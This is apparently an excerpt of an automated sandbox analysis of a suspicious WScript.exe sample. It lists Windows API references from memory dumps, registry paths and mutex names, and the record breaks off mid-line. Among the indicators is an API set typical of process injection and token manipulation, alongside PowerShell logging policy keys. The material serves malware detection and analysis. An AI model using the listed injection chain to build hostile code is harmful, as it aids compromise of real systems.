"OpenProcess"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004904.00000001.141909.853EA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00004904.00000001.141909.C6AEE000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetProcessById"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "ConvertStringSidToSid"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "LookupAccountSid"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "SeTakeOwnershipPrivilege"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "RevertToSelf"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "LoadString"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "PrivilegeCheck"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "NetServerEnum"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "SetThreadToken"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "ZwUnmapViewOfSection"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "DuplicateTokenEx"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentDirectory"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp")3b:T5b2,Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp, 00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp")3c:T1a4f,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004904.00000000.141303.ABEF0000.00000004.mdmp 00000000-00004904.00000001.141909.ABEF0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004904.00000000.141303.ADE70000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004904.00000000.141303.C6490000.00000004.mdmp 00000000-00004904.00000001.141909.C6490000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "HKLM\" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00004904.00000001.141909.26458000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004904.00000001.141909.853EA000.00000002.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CasPol.exe" in Source: 00000000-00004904.00000001.141909.C6505000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004904.00000001.141909.C6A8C000.00000004.mdmp3d:T4a3,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8128:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8128:304:WilStaging_02" Process WScript.exe 